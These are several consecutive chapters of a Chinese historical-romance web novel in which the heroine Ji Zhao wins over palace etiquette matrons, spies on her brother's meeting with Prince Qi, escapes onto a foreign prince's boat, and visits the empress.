《侯府宠养女,皇叔撑腰,不原谅》 第118章 纪昭的大气让教养嬷嬷佩服 紫棠院中的下人按着职责和等级,依次整齐排开。 行礼时,下人们十分规矩。 两位嬷嬷看得心中暗自点头。 她们没见过纪昭,只听说过。 本以为纪昭不过是武将之女,定不会如世家千金般知书达理,仪态端庄。还有,又听说了纪昭幼时在军营里长大,还女扮男装上过战场。 她们以为是粗俗无礼的少女,毕竟根基太浅薄,几乎等于没有教养。 对于这种没教养的女子,她们做了棘手难处理的准备。 但,现如今只照了一面,两位嬷嬷脑中的印象就被全部打翻。 面前的纪昭,身穿上身是月白色绣银线百合短襦衣,下身是浅紫色百褶长裙,用的料子是精美贵重的缂丝。 头上梳着未婚女子的半月髻,珠钗两支、细珍珠流苏两支、发髻上簪一枝金步摇,其余用淡紫色绢花点缀。 清新脱俗,贵气内敛。 穿着打扮不张扬,也不太过素淡。 第一面的穿戴印象就极好。 第二眼看纪昭,皮肤雪白,五官极其明艳秀丽,一双明眸乌黑湛亮,顾盼生辉。 容貌竟然是极好看的,可以说若是全妆打扮,不会输给任何京中人美貌的贵女。 纪昭含笑:“给两位嬷嬷准备的是紫棠院上房,在主院近旁。” 奶娘文氏捧着簇新的衣衫、被褥,身后四个丫鬟捧着其他全新用具。 上前:“您二位是宫里来的,一切吃穿住用大小姐都让人换了新的。另月例按着院里资历最深的嬷嬷,由紫棠院里给。” 两位嬷嬷笑了笑,不卑不亢:“大小姐有心了。” 纪昭接过晚意的香囊,送给了两位嬷嬷。 两位嬷嬷接了,便下去歇息安顿。 纪昭因为还得查账,巡查侯府几间铺子,便出府去了。 …… 两位嬷嬷在房中歇息。一应被褥用具什么的,紫棠院中的丫鬟们都当着她们的面打开铺上,以示干净。 奶娘文氏与她们说话,还说了有小厨房,要做什么吩咐哪个丫鬟就能做来。 一切都安置妥帖。 黄嬷嬷问:“听说大小姐练武。如今每日还练吗?” 奶娘文氏笑道:“还练的。大小姐说练武强身,也是一门技艺,不能荒废。” 黄嬷嬷点头,又问:“大小姐的写字和女工怎么样?” 奶娘文氏:“每日都写三张大字,还看了,佛经也抄了一些,四书五经也开始看了。” “至于女工,做的一般,不过这两年也在做着。” 黄嬷嬷点头,让奶娘文氏回去了。 两位嬷嬷闲话今日见了纪昭的印象。 陈嬷嬷下了结论:“端庄大气,说话做事很敞亮,难怪皇后娘娘喜欢。” 黄嬷嬷也很满意:“刚才说话的是她的乳娘,头头是道,不藏也不夸大。按理说,她应该说纪大小姐没练武的。” 陈嬷嬷:“她因救驾有功才入了天家的眼,赐婚为睿王妃,这个时候说废弃武功,就有点忘本了。” 黄嬷嬷:“不过说来,睿亲王也是喜欢武功。应该是这点让他同意了娶这位纪家大小姐。” 两位嬷嬷都对纪昭的初印象极好。 再看看送的香囊。 打开一看,两人便愣住了。 里面是银票。 陈嬷嬷小心收了起来:“难怪皇后娘娘看重,果然是当睿王妃的料。” 黄嬷嬷也小心收了起来:“这位睿王妃能处。” 纪昭的敞亮大气,她们是没见过的。 至此,纪昭完全收复了两位教养嬷嬷的心。 …… 纪昭前去查账,查得很顺利。 因为阖府上下都知道了如今大夫人已经不管事了,大权交给了纪昭和大少夫人包氏。 权力的转移,自然是要清算从前的旧账。 只看纪昭这位“钦差大臣”是要从严,还是从宽整治。 所以,几个掌柜都很配合。 纪昭巡了几个铺子,让晚意收了账册,打算回去按着五年前开始查。有些烂账,也得开始追一追。 很快收完账册。 她去自己买下的铺子去看看。 那个铺子很早就修缮完毕,货也铺陈好了,只等吉日就开张。 但纪昭去的目的不是为了张罗生意。 她到了铺子,奶娘文氏的侄儿来迎接,说已经准备妥当的话。 纪昭在铺子后面院子走了走,指着旁边问:“这几日隔壁的有什么动静?” 奶娘的侄儿悄悄道:“这几日那小姐来的很勤。先前是三日来一回,现在是隔日就来了一回,而且还走的是偏门,不是从正门进去的。” 纪昭点了点头。 前世记忆里,这女子将来有大用处。 而院子里住的是她的瞎眼老娘,她见的人呢也是极重要极危险的。 纪昭对章掌柜道:“明日是吉日,开了铺子,就送一些贵重礼物过去。” 章掌柜点头:“晓得了。” 纪昭又道:“平日多多注意她进出的时辰,待多久,还有什么人来见她。” 章掌柜应了。 纪昭见他也不问为什么,心里放心许多。 这个铺子不是为了做生意,是为了盯人。奶娘文氏是自己人,她侄儿又这么机灵,纪昭决定好好培养一下。 她拿出五百两,对章掌柜道:“你去城南茶市那边盯着,过两日会有茶商进来一批茶叶,品质极好,你都买下来。” 章掌柜收了银子问:“大小姐要做茶生意吗?” 他有点糊涂。 纪昭一会儿开胭脂铺子,一会儿又让他买茶叶,到底是玩闹,还是有别的目的。 纪昭含笑:“你买下来就是。过半月你高价全抛了,能挣这个数。” 她比划了下。 章掌柜吃惊:“当真?” 纪昭点头:“你抽三成,剩下的你去耒阳买一处庄子,置办点田地。先写你的名,然后再拟一份买卖文书给我便是。” 章掌柜有点激动。 挣的钱给了他这么多分红,又让以他的名字买田产。 纪昭这是把他当做了自己人。 纪昭在铺子里用了午膳。买的是西市酒肆上好的酒食。 她用过午膳,在院子里散了散,看准时机让晚意带着一篮子果子敲开了隔壁的院子。 一个小丫头过来开门:“你们找谁?” 纪昭朝里面张望一眼,院子收拾得很干净,但摆放简朴。 她笑道:“哦,我是隔壁铺子的女东家。那胭脂铺子开着玩的,明日就要开张了,先给邻居们送点果子。” 小丫头高兴:“是吗。那挺好。我家小姐还说着你们什么时候开张呢。” 纪昭拿了果子:“你们家小姐呢?” 小丫头有点为难:“我家小姐不在,你改日再来吧。” 第119章 初见瞎眼老妇人 纪昭也不勉强:“那改日拜访。” 小丫头接过果子。 此时院子里传来老妇人的声音:“谁啊?” 小丫头好像很担心老妇人,急急忙忙回去扶她。 纪昭从半开着大门瞧见里面一位穿着粗布衣裙的老妇人,慢慢走了出来。 她手中拿着一根细木盲杖,头上包着头巾。 是很寻常妇人打扮。 她问小丫头:“谁来了?” 小丫头瞧了纪昭一眼,低声说了一句。 老妇人摸了摸那篮果子:“这位小姐破费了。我家钰儿不在。” 她热情招呼:“要不进来喝口茶?” 纪昭本来就想探她们虚实,于是欣然同意。 她进了院子,打量了一眼,笑道:“前阵子远远瞧见了你家姑娘,长得很标致。” 纪昭夸老妇人的女儿,老妇人很高兴。 她笑着让小丫头去拿茶,又与纪昭寒暄起来。 纪昭只是说自己是京城人士,平日喜欢摆弄胭脂水粉,所以想开一间胭脂铺子玩玩。 老妇人点头:“那定是富裕家的小姐,听声音就能听出来,很清亮,很贵气。” 纪昭稀奇:“听声音就能听出这些?” 老妇人笑呵呵道:“老妇人瞎了眼睛,所以对声音就格外注意些。这位小姐声音中气十足,还有金玉之声,将来不是富就是贵。要么富贵荣华,绝对错不了。” 纪昭只是笑。 她看出老妇人五官很秀美,年轻时候应该是个大美人。只是现在瞎了眼,伤了根本,又憔悴又残缺。 正说话间,外面有车马声。 小丫头说:“小姐回来了。” 她说着略紧张瞧着纪昭。 纪昭知道她们要赶自己走。她站起身告辞。 老妇人倒是有点舍不得:“这位小姐以后空了多过来坐坐。” 纪昭笑道:“只要夫人不怕我呱噪,我愿意过来说话。” 她说完告辞了。 外面门打开,一位穿着素淡衣裙,带着长长帷帽的少女领着一个机灵的丫鬟进来了。 少女扬声:“母亲……” 她话中断,因为瞧见了院子里出现了陌生人。 少女问:“你是谁?” 口气很疏离。 纪昭道:“我是隔壁要开胭脂铺子的女东家,过来送点果子。” 少女似乎松了口气:“哦,知道了。你这铺子修好了迟迟不开,我以为你不做买卖了。” 她对纪昭的胭脂铺子动向很熟悉。 纪昭笑道:“因为是开着玩的,自然是不急着开。” 少女透过帷帽多看了纪昭几眼,轻笑:“啊,难怪。我说铺子租着也要花钱,少做一日生意就得多出一日的本金。” 纪昭指了指果子:“这些果子不值几个钱,姑娘笑纳。” 少女瞧了果子,似乎有点笑意了:“哦,是很稀罕的西域葡萄啊。多谢了。” 纪昭摆手:“不用谢,铺子开张的话,姑娘多光顾点。” 谈话就到此为止。 纪昭告辞离开。 身后的门关上,她听见那少女轻声埋怨:“母亲,什么人底细都不知道。您怎么能让人进来。” 老妇人:“知道你担心。不过我听着那姑娘的声音是个好人。” 少女不屑:“听声音就知道人好赖啊?母亲别哄我了。” 老妇人:“你别不信。那女子是个极贵重的人。就算今日不贵重,未来也是命格极贵的。” 少女似乎还不信:“是是,怎么不贵重。她连西域葡萄这稀罕物都能随手送了,就是个有钱人家的小姐……” 纪昭听了这几耳话,悄悄离开了。 上了马车,晚意埋怨:“这什么人家的小姐,口气好不屑。” 纪昭:“她啊,身份还挺神秘的。将来你就知道了。” 晚意:“她怀疑盯着我们瞧,会不会反过头来查我们?” 纪昭摇头:“不知道。但目前来看,她应该没心思查。” 就算这少女去查了,查到她是晋阳侯府的大小姐又能怎么样? 她堂堂侯府嫡小姐手头宽裕,出去买个铺子卖胭脂水粉玩,也不是很奇怪的一件事。 当然,任由这少女想破头也不知道纪昭为什么这么做。 纪昭在马车中细细想着前世的蛛丝马迹,盘算着什么时候挑明了。 …… 马车在街上随意走着。 纪昭巡查完店铺,便想去城西买点小玩意。 她手头除了睿亲王萧烨送的长枪外,别的兵器都很寻常。 她打算找个名匠,打造一把随身的匕首,还有一把合适自己用的剑。 若是能买到劲弩也行。 或者,寻个好的枪匠,将陪着自己出生入死的枪头安一柄枪杆。 总之,身体好了,纪昭愿意在兵器上多花点钱,装备自己。 她生性不爱红妆,爱武装。 两世为人都改不过来。 纪昭吩咐车夫去城西找找卖兵器的铺子。 车夫却笑道:“大小姐,不是不带你去,是没有。” 纪昭奇怪:“怎么的没有?” 车夫:“京城禁武。” 纪昭恍然大悟。 她在西北待惯了,以为兵器铺到处都有呢。没想到偌大的京城,兵器反而是禁售的东西。 车夫:“大小姐要想要,只能通过大公子找御器坊下面的官府兵器铺子。” 纪昭算是开了眼:“你怎么知道?” 车夫:“听大公子说过。也带过人去过,所以小的知道点。” 纪昭点头,便又寻思起来该怎么办。 难不成还得寻到睿亲王萧烨那边,让他再替自己寻几把趁手武器? 是可以,但这不是又要欠他好几份人情? 纪昭正想着,春翠找来了。 她悄悄道:“二公子出府了,还带上表小姐。” 纪昭:“瞧清楚了?” 春翠点了点头。 纪昭心里隐隐兴奋起来。 等了好半天,蛇终于出了洞。 按估算,应该是跑去见三皇子。 纪昭于是吩咐了车夫先返回胭脂铺子,然后主仆两人换了男装,悄悄出去。 直奔纪蓉去的所在。 春翠是悄悄跟到了一处幽静的府邸,亲眼看着纪蓉被人抬着进去才回来禀报纪昭。 于是纪昭到了这处地方后,瞧了瞧。 “是一处烟花宅子。” 春翠不明白:“这不是青楼?” 纪昭道:“当然不是。不过这里是比青楼更花钱的销金窟。” 不但是这一处,而是这一片。 这些府邸看着很寻常,但都建在临环城护城河旁,还有见到河上飘着几艘画舫。 春翠问:“那我们怎么进去?” 纪昭想了想,看见一处巷子:“跟我来。” 第120章 滚进画舫 纪昭带着春翠悄悄进了巷子。 巷子很深,两边是很高的墙。墙上还有碎瓦片,是防贼的。 纪昭比划了下,对春翠道:“我教你个法子,你看着跟着我翻过去。” 春翠:“……” 纪昭比划了距离,一个助跑,从巷子这一头斜斜踩上了一面墙。然后一拧身,如林中飞猫似的,转身蹬上了另一边笔直的墙面上。 提气,再蹬一步,飞上了墙头。 春翠看得傻了眼:“大小姐,我不行。” 她果断认输。 纪昭趴在墙头上,掌心被碎了的瓦片蹭得生疼。 不过这点痛不算什么。她受得住。 纪昭翻过了墙头,然后落地找能让春翠上来借力的东西。最后只找到了一根竹竿子。 她放下竹竿。春翠苦着脸,千辛万苦爬了上来。 春翠很丧气,又很服气:“大小姐,我真是啥都不如你。爬墙头都不如你利索。” 纪昭笑了笑,然后带着春翠悄悄进了那宅子。 …… 宅子很大,里面有笙箫传来。 纪昭只看了几眼就在记忆里找到了熟悉的印象。 这地方叫做扶风苑,是纪蓉和一帮狐朋狗友私底下寻欢作乐的销金窟。 那叫做潇潇的青楼花魁日常在这里宴请大人物。 这里一桌酒菜,抵得上寻常百姓一年的花销还多。 纪昭辨认了方位,拉着春翠往西北角而去。 一路七绕八拐,巧妙绕过了苑里的奴仆和值守的家丁。 纪昭来到了一处很雅致的后院,熟练穿过一座假山,蹲在了墙根下。 春翠紧张捏紧了衣角。 她不明白大小姐怎么对这个地方这么熟,还能躲在这儿听墙角。 过了一会儿,有人陆陆续续进了凉阁,先是一番寒暄喝酒。 纪蓉喝了点酒,似乎来了酒意。 “陈贤弟,托你办的事怎么样了?” 陈贤弟应该是礼部尚书的儿子,陈昊。 他笑道:“纪兄放心。话已经递上去了。不过要见三皇子,还是有点难处。” 纪蓉:“如今圣上是什么意思?只是拘着三皇子殿下,不打也不罚的。怪让人捉摸不透的。” 陈昊:“当然是护着了。不然放出去,言官们又要参他,治他的罪。” 纪蓉不屑:“言官又能怎样?三皇子有庞贵妃,庞家实打实的势大。” 陈昊只是笑,并不愿意在这个杀头的话题上深聊。 纪昭听得直皱眉。 纪蓉真是蠢透了,这等诛九族的话也敢到处聊。 纪蓉说了一阵子,忍耐不住:“陈贤弟,实不相瞒,我妹妹出来了,想见三皇子。” 陈昊:“这个……不好办吧。” 纪蓉:“陈贤弟,你也知道,我妹妹长得国色天香。她与三皇子殿下是有情的。” 接下来的话便是夸着白沁雪。 陈昊最终似乎被说动了:“那就见一见。” “不过,要疏通上下也得花钱。” 纪蓉拿了银票出来,催促着陈昊办。陈昊收了,然后两人又说起了猥琐的荤话。 纪昭耐心等着。春翠则在旁边听得云里雾里的。 她心里嘀咕虽然纪蓉见的人说了什么话很重要,但也并不值得冒着风险在这里蹲着。 春翠动了动,脚麻了。 突然,有人匆匆来了低语两句。 陈昊立刻站起身:“贵人来了!快迎!” 纪蓉问:“是谁?” 陈昊却并不回答,而是快步出去。 纪蓉还云里雾里的,嘀咕:“谁来了?” 他腿脚不便,只能在凉阁里等着。 过了一会儿,陈昊毕恭毕敬领着一个人进来:“这位便是我说的贵人。” 纪蓉惊慌失措,急忙站起身:“齐……王殿下!” 齐王? 原来是齐王! 陈昊喝道:“你疯了,这么喊出来?!” 纪蓉:“是是是,我错了。贵人驾到……” 纪昭听到了自己想知道的答案,再偷偷看了一眼,确定后拉着春翠悄悄挪出了凉阁。 …… 心里的谜团又解开了一个——三皇子萧钧身后还站着齐王。 那个以乐善好施、勤俭仁慈闻名的贤王,齐王萧烁。 纪昭在黄泉地狱里的虚妄台看了好几年,一直想不通一个点。睿亲王萧烨是怎么在一场大战中受重伤。 直觉告诉她,这事是有人做了个局。 目的便是让萧烨死,除去心头大患。 只是萧烨命大,腿上剜掉了一块肉,仅仅只是腿脚不灵罢了。 大半的兵权虽然被卸了,但手里还有几万的精兵猛将,依旧是皇权路上的威胁。 所以,幕后之人发现没彻底搞垮萧烨后,还是会继续作恶。 三皇子不过是明面上的,并不可怕。 可怕的便是这个深藏的幕后之人。 一日不揪出来,一日不安稳。 …… 纪昭出了凉阁,一边寻思,一边找着出去的路。 但,不知道是不是因为齐王来了,这里的巡逻紧张起来。 好几次纪昭差点被发现。 拐过一个回廊,纪昭又瞧见了孔武有力的护卫朝着这边走来。 春翠也感觉到了不对劲,急忙道:“大小姐赶紧走。我去引开他们。” 纪昭一把抓住她,低喝:“你不要命了?这些人会杀人。” 春翠:“奴婢不怕。奴婢这条命是大小姐的。” 纪昭哭笑不得:“你不怕死也没用。你是我的丫鬟,死了也会查到我的头上。” 春翠:“……” 纪昭急中生智,拿了一块石头打中了对面的瓦片。 瓦片破碎,发出一声响,护卫们立刻追了过去。 纪昭看准时机,拉着春翠往另一个方向跑去。 “来人!有刺客!” 护卫们也不傻,发现中计之后立刻掉转头追记昭。 纪昭心里敲锣打鼓,脚下却不停。 她眼下这个功夫也只能逃。一堵墙出现在眼前,她立刻越了上去,将春翠拉过去后。 她一推春翠:“往前跑,不要回头。” 说完,纪昭朝着另一个方向跑了。 身后的追兵追来,一回头还能看见兵刃闪着寒光。 纪昭跑到了护城河边,眼前被河水拦住了去路。 身后的追兵大呼小叫追来,眼看着要跟上了。突然一艘画舫悠悠地朝着这边而来。 不容多想,纪昭跳进了画舫。 画舫摇晃,她很没有体面地咕噜噜滚进了船舱。 终于停了下来,纪昭捂着膝盖疼得冒汗。 头顶传来一道戏谑的嗓音:“阿昭姑娘,我们又见面了。这次你又被谁家的狗追了?” 第121章 和呼儿托木周旋 纪昭抬头,怔愣住。 是乌国大王子呼儿托木。 这人怎么在这个地方?还游画舫? 纪昭站起身,拍了拍衣衫,很是正经地行了个礼。 “见过乌国大王子。” 呼儿托木上下打量她,见她是男子衣衫,哈哈笑了。 “你穿这个很好看,非常好看。” 他眼里的欣赏一览无余,说的话很有温度,很热忱。是游牧族人的习性。 纪昭淡淡笑了笑:“多谢大王子的夸奖。” 呼儿托木问:“你还没说外面追你的人是谁?是谁的狗?” 此时外面追兵叫嚷,还有人拿出了抓钩,勾住了画舫。 纪昭不方便说,只说:“我也不知道是谁,不过今日不能被抓去。大王子再帮我一次,以后有重谢。” 呼儿托木又笑:“我又不图你谢我,不过两次人情欠着,你得认。” 纪昭点头:“这个自然是认的。”不认也跑不掉。 呼儿托木看了她一眼:“你在这里待着别动。我出去就回来。” 呼儿托木站在甲板上,看见岸上追兵七八人,一个个舞着刀剑嚷嚷让画舫靠岸。而画舫上的护卫则用乌国话叽里咕噜和岸上的人对骂。 两边的人语言不通,僵持不动。 呼儿托木突然拿了一张弓射了一箭。 一箭封喉,一个人倒下。 岸上的人乱了。 呼儿托木摆手:“射!” 画舫上几个乌国护卫纷纷张弓射箭,几下就将追兵射死在岸上。 纪昭在船舱中看得真真切切,眉心皱得越发紧。果然是乌国人,箭不落空,射死人和射死牲畜一样没有半点迟疑。 解决完岸上的人,呼儿托木大步走近船舱,直勾勾盯着纪昭。 “处理完了。你没事了。” 纪昭恭维:“大王子殿下威武。” 呼儿托木:“你是晋阳侯府千金纪昭。” 纪昭点头。 又问:“你怎么到了这儿?” 纪昭顾左右而言他:“大王子又是怎么到了这儿?” 呼儿托木眼神微闪:“我在京中无聊,所以到处游玩。” 纪昭想了想:“我也是偷偷溜出来游玩,没成想撞破了旁人的秘密,所以惹了麻烦。” 对她的回答,呼儿托木很满意。 他不会问纪昭撞见了什么秘密,而是提出邀约:“这几日晴好,你骑术不错,可以一起出去打猎。” 纪昭摇头:“我实在是不得空。多谢大王子邀约。” 呼儿托木皱了皱眉:“你平日在做什么?” 纪昭愣住。倒是没想到他会问这个。 不过她不打算老实回答,只轻描淡写:“在家中写字画画,外加理理账。” 呼儿托木摇头:“这种事交给下人做就是。你骑术好,不出来练练会生疏。” 纪昭与他无话可说。 乌国人本就是马背上为生,骑马打猎打仗是第一要紧事,而中原女子则完全相反。 接下来的路程便随心所欲。 呼儿托木招呼她吃东西。 纪昭知道乌国人没有男宾和女眷不同桌的习俗,于是在他盛情邀请下用了点肉食。 画舫在护城河随意飘着,纪昭发现呼儿托木的护卫守在甲板上,还有两位看起来像是文职的人仔细看着岸边。 他们在做什么? 纪昭蹙眉,猜不透,隐约觉得不是什么好事。 呼儿托木却是饿了,大口吃肉,大口喝酒。 他问:“听说你上过战场,还救过驾?” 纪昭点了点头。 这些事并不难查。 呼儿托木眼底有了欣赏:“那你武功一定不错。” 纪昭也不隐瞒:“被刺客废了内力,没法子动刀动枪了。” 呼儿托木又道:“你骑马很厉害。很适合当大王妃。” 纪昭笑了笑:“大王子盛情,不过赐婚已下,我会成为睿亲王妃。” “睿亲王萧烨?”呼儿托木眼底有了轻蔑,“他从前战功不错,但现在已经不能上马了。” 纪昭瞧出他的轻视,并不打算纠正。 她道:“既然大王子知道我的身份,便不要在我面前说睿亲王的坏话。” 呼儿托木呵呵一笑:“我没说他坏话,我说的是事实。他的确上不了马,打不了仗。不过他从前打仗很厉害,乌国几个部族都被他打败了。” 纪昭心里唏嘘不已。 如果睿亲王萧烨腿没残,现在该是多么威风凛凛,让乌国人望而生畏。 她突然道:“殿下腿虽然残了,但打仗不只是靠这个。靠的是运筹帷幄,决胜千里。” 她指了指脑袋。 呼儿托木却不同意:“但是不能上马的将军怎么鼓舞士兵的勇气?” 纪昭明眸熠熠:“他指挥将军,将军冲锋陷阵就可以了。” 呼儿托木盯着纪昭:“你在替他说话?” 纪昭点头:“是。” 呼儿托木又问:“如果有一日乌国和你们国又打仗,你会帮他?” 纪昭重重点头:“会。这是我的毕生心愿。” 呼儿托木的脸色铁青,身后的护卫抽出了刀剑。 纪昭很坦然看着他:“我是未来的睿亲王妃,睿亲王殿下是我的未来夫君。我又是应朝人,于情于理,我不能站错队伍。” 呼儿托木瞧了她好一会儿,突然哈哈笑了起来。、“你很勇敢。” 纪昭:“我不是勇敢,这是事实。” 呼儿托木眼神熠熠瞧着纪昭:“不过两次你都到了我面前,那定是神有了别的旨意。也许不是让你效忠应朝,也不让你效忠那个残了一条腿的男人。” 他逼近,纪昭退后。 纪昭心中笑了笑。 这呼儿托木还真的是贼心不死。 纪昭突然道:“其实有件事,我一直想告诉大王子殿下。” 呼儿托木问:“是什么?” 纪昭招手:“你过来,我与你一个人说……” 呼儿托木靠近。 纪昭突然伸腿一绊,然后折身跳向船舱的窗户,朝着河里跳了下去。 呼儿托木被纪昭绊了一下,错过了抓住纪昭的好时机。他想要追出去,没想到船身突然剧烈晃了晃。 船上的几个乌国护卫一下子东倒西歪,站不稳。 “有人晃船!” 他们嚷嚷。 纪昭在水中,看见他们乱成一团,转身扎进河水里消失了。 等船上的人都站稳了,纪昭早就不见了。 呼儿托木皱眉:“这女人太狡猾。欺负乌国人不会水。” “大王子,若是要她,抢了就回乌国去。” 呼儿托木冷冷瞥了一眼手下:“糊涂,她如今身份不同。不但不能追她,还今日之事都不能说出去,免得影响了我们的大计。” 第122章 烂泥扶不上墙 纪昭有惊无险回到了紫棠院。 春翠已经急得嘴上都快长出燎泡来,偏偏又不敢声张,只在角门的门房那边急着等。 一直等到了纪昭回来才松了口气。 纪昭回屋里换了件干净衣衫,定了定心神。 她越想越不对,呼儿托木不可能是因为欣赏风景才去游览护城河。他一定有所图谋。 可到底是什么? 纪昭想了想,写了一封密信让人悄悄给了睿亲王萧烨。齐王萧烁这事还有点说法,她也必须亲自说清楚才行。 做完这一切,纪昭渐渐放了心。 …… 第二日便是教养嬷嬷教导纪昭礼仪和规矩。 黄嬷嬷很严肃古板,说话直接;陈嬷嬷圆滑和蔼,说话总是带着笑。 不过纪昭看得出来,其实陈嬷嬷为主,黄嬷嬷为副。 陈嬷嬷好像什么都行,但出错的地方总是她第一个发现,并且要重复做三四次才算满意。黄嬷嬷则是口头上严厉,实则不会真正板着脸罚。 幸好纪昭性子收敛许多,外加在西山温泉别苑醒来后便刻意学了点规矩。 不至于在教养嬷嬷面前出错。 但,第一天还是比想象中累多了。 教了两个时辰,终于到了用午膳的时候,两位嬷嬷很是满意。 黄嬷嬷:“纪大小姐很聪明,学的很快,已经像模像样了。” 陈嬷嬷笑眯眯:“有世家千金小姐的样子,很娴静,很聪慧。” 纪昭稍稍松口气,很谦逊:“是两位嬷嬷教导有方。” 她又特地提起自己的缺点:“我习武惯了,做事粗枝大叶的,两位嬷嬷要把我这顽石雕琢成玉器,得费不少功夫。” 两位嬷嬷听得很受用。 这自谦的话是变相恭维她们。 纪昭的通透、大方,还有谦虚,都出乎两位教养嬷嬷的意料。 于是,她们便乐意与纪昭多说点她不知道的一些事情。 纪昭问起侧妃的事。 陈嬷嬷道:“侧妃按道理是要四位,都是八大世家的千金。不过睿亲王不肯,只肯两位。那便从崔姓,郑姓两家里面选。” 黄嬷嬷:“两家是最大的世家,不会辱没了睿亲王。” 纪昭心里苦笑,恐怕自己嫁给萧烨,在世人眼里是辱没了。 纪昭问:“我听说柔仪公主很是心悦殿下。” 黄嬷嬷一副“就知道你会打听她”的了然。 她笑道:“纪大小姐不要担心,柔仪公主不会嫁给殿下。太后舍不得。” 陈嬷嬷也道:“公主性子很直率,殿下性子冷清,两人合不到一起。宗亲们来看,两人不合适。” 她说得很委婉。 拿了柔仪公主的脾气说事,又说是宗亲们不乐见其成,就是告诉纪昭应该放心。 纪昭心里自然是放心的。 只是她想打听的是,皇帝将柔仪公主派去和亲的念头。 如今看来,并没有。 如果有,两位教养嬷嬷应该不会这么说。 她们应该会说柔仪公主的身份太过尊贵,又伦理纲常上来说,萧烨和公主不能在一起之类的借口。 纪昭谈起皇后的六皇子萧澈。 陈嬷嬷伺候过皇后,也服侍过六皇子。 她叹气:“仁慈孝顺,又十分聪明,就是胎里受了损,一直体弱多病。” 黄嬷嬷:“皇后娘娘废了很多的心思。” 两位教养嬷嬷也只说了这些,别的不敢多说。 纪昭道:“是不是吃食上太拘束着?我在军营里瞧着那些穷人家的孩子入伍时,面黄肌瘦,但操练时顿顿糙米馒头,还吃各种肉,就长得很康健,力气很大。” 两位嬷嬷对视一眼:“皇后信佛,经常茹素。” 她们不敢多说。 纪昭顿时明白——皇后茹素,六皇子萧澈仁孝,也跟着茹素。 原来问题是出自这个地方。 看来改天她进宫得好好和皇后说说,捋一捋这个思路。 前世皇帝病逝后,六皇子萧澈还是继位了,只可惜他体质太弱。当了三年新帝就暴毙。而后才是三皇子萧钧叛乱,萧烨平乱。 身体不好,皇位都坐不稳。 …… 纪蓉回府后,腿伤又发作了,还发了高热。 大夫人心急如焚,让纪世德再请御医。 纪世德最近早出晚归,在外吃酒应酬,对这事很不上心。 他冷漠道:“左右都是他自找的。不好好养伤,谁也拿他没办法。” 大夫人目眦欲裂:“他可是你的亲儿子。” 纪世德:“我的儿子还有两个,少他一个不少。” 大夫人震惊。 纪世德态度的变化令她难以招架。 从前他只看重二儿子纪蓉,对老大根本不放在心上。可如今老大仕途好跟了九千岁,而纪蓉得罪了睿亲王。 纪世德竟然就这么转向了。 难不成,侯世子的位置要给了老大? 纪世德又道:“你也别宠坏了他。你看捐来的官他上了几日就又偷懒不去点卯。还升迁无望,又没有武功,更不能去赚军功。” 大夫人:“侯爷,您这是要放弃他?” 纪世德哼了一声:“烂泥扶不上墙。他好自为之吧。” 纪世德走了,去看二姨娘了。 大夫人只觉得心口血气翻涌,差点又要吐血。 她勉强忍住,拿了私房银子派人去请治跌打损伤的名医来给纪蓉诊治。千万不能落了残疾。 如果双腿还好,纪蓉还有可能将来袭爵。 如果双腿残疾,那是一点希望都没有。 纪昭在院中学规矩,听两个嬷嬷说着皇亲贵胄弯弯绕绕的关系。 听说了纪蓉腿伤反复。 她对两位嬷嬷道:“我要进宫一趟,给二哥请个能治腿的太医。” 两位嬷嬷十分佩服:“大小姐仁心,以德报怨。” 纪昭笑了笑。 这个施恩的机会怎么不抓住呢? 睿亲王萧烨打断纪蓉的腿,目的是为她撑腰教训大夫人和纪蓉,打杀他们的野心和妄念。 而由自己去请太医,则彰显自己的仁慈。 总之,谁让纪蓉倒霉做了个工具人,让萧烨和她的名声又上一层楼。 是日,纪昭便进宫求见皇后娘娘。 她说了来意。 皇后娘娘含笑:“说道治腿的太医,好像有一位姓梁。脾气有点古怪,但据说是骨伤的妙手。” 纪昭知道这位老太医。治骨头方面的伤是一绝。 她道谢:“那就请皇后娘娘给一道手谕,让小女请梁太医给二哥治腿。” 皇后点头:“自然会的。” 她又夸:“你做事很妥帖。你二哥虽然有错,但十四下手太重了,万一打坏了,又有言官要骂他。” 皇后让人去传梁太医出宫医治。又留纪昭喝茶。 第123章萧烨问,你倒是忙得很 皇后很喜欢纪昭。 但这几日宫中不得空,源头是永福宫的庞贵妃。 因三皇子萧钧犯了错,还在王府中圈着,皇帝没说罚,也没说不罚。就这么吊着。 庞贵妃心高气傲哪能坐以待毙。 朝里怂恿外臣去求情赦免,宫里则日日去求皇帝。 皇帝不松口,庞贵妃又来求皇后。 皇后也不知道该怎么办才好。 皇后叹气:“三皇子的事可大可小,偏偏闹到十四眼前。皇上可能等老十四点头放人,才会放。” 纪昭想了想:“可能也不是。” 皇后疑惑。 纪昭没敢说太明白。 皇帝年纪大了,身体又时常不好,疑心病便有了。 自古帝王多疑心,哪个都逃不了。 皇帝这一招应该是引蛇出洞,一边的确是爱子心切,不忍三皇子被罚。其次便是想看看支持三皇子的到底是哪些人。 第三,应该是想让庞妃和三皇子一党将矛头对准睿亲王萧烨。两虎相斗,必有一伤。 既能解除隐患,又能削弱忌惮的人。 纪昭见皇后不明白,顺着她的意思说:“我等有空劝劝睿亲王殿下,不要怪罪三皇子。” 皇后舒了一口气:“就知道你是个懂事明理的。嫁给了老十四,是他的福气。” 纪昭腼腆笑了笑。 用过一遍茶,纪昭问起六皇子萧澈。 皇后带了慈母的微笑:“他在太学里听课,应该快回来了。上次京郊他见了你,回来与本宫夸了好一阵子。” 纪昭微笑:“三皇子殿下十分聪慧识礼。” 皇后笑了起来。 每个母亲都喜欢听旁人夸赞自己的孩子。况且,三皇子的确很仁孝。 说话间,三皇子萧澈来了。 他见到纪昭,上前与她见礼:“十四皇婶来宫里了。” 纪昭见他精神头还好,心里松了口气。 应该来得及。 纪昭想起自己得来的消息,笑着婉转问他:“三皇子平日习武吗?” 三皇子萧澈道:“君子六艺都习了,只是经常生病,功课落下许多,骑马射箭都稀疏平常。” 纪昭笑道:“殿下不要气馁。武功这事必须得天天练,日积月累才能大成。” 皇后:“昭儿不是练过武吗?有什么诀窍可以教给澈儿。” 纪昭笑了:“小女哪有什么诀窍,只知道每日五更天不到就起床。洗漱吃饭,然后扎马步,练半个时辰的拳,再练一个时辰的兵器。” “然后再到校场上与士兵们一起操练直到正午。下午用过午膳,再骑马射箭,或干些杂务。” 三皇子萧澈听得十分神往:“我要是能入军营就好了。” 纪昭道:“殿下千金之躯怎么能轻易入军营?” 三皇子萧澈:“可是十四皇叔就是很小年纪入军营,然后挣军功,最后成为威名赫赫的将军王。” 